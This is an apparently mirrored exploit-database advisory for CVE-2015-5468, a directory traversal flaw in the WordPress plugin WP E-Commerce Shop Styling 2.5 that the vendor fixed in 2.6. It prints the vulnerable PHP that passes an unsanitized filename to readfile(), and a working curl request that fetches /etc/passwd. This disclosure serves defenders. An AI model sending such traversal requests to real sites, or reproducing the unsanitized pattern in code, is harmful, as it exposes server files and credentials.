Lucene search
+L

WordPress Plugin WP E-Commerce Shop Styling 2.5 - Arbitrary File Download

🗓️ 08 Jul 2015 00:00:00Reported by Larry W. CashdollarType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 43 Views

Vulnerability in WordPress WP E-Commerce Shop Styling 2.5 allows arbitrary file download

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2015-5468
8 Jul 201500:00
circl
CNVD
WordPress WP e-Commerce Shop Styling Plugin Directory Traversal Vulnerability
25 May 201700:00
cnvd
CVE
CVE-2015-5468
23 May 201703:56
cve
Cvelist
CVE-2015-5468
23 May 201703:56
cvelist
NVD
CVE-2015-5468
23 May 201704:29
nvd
OpenVAS
WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP)
20 Nov 202000:00
openvas
Prion
Directory traversal
23 May 201704:29
prion
ThreatPost
Attackers Target 1M+ WordPress Sites To Harvest Database Credentials
3 Jun 202020:37
threatpost
VulnCheck KEV
VulnCheck KEV: CVE-2015-5468
3 Jun 202000:00
vulncheck_kev
wpexploit
WP e-Commerce Shop Styling <= 2.5 - Local File Inclusion
5 Jul 201500:00
wpexploit
Rows per page
Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-05
Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling
Vendor: https://profiles.wordpress.org/haet/
Vendor Notified: 2015-07-05, fixed in version 2.6.
Vendor Contact: http://wpshopstyling.com
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.
Vulnerability:
The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.


1 <?php
2 require_once("../../../../wp-admin/admin.php");
3
4 header('Content-disposition: attachment; filename='.$_GET['filename']);
5 header('Content-type: application/pdf');
6 readfile(HAET_INVOICE_PATH.$_GET['filename']);
7 ?>

You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.

CVEID: Requested TBD
OSVDB: TBD

Exploit Code:
  • $ curl http://server/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation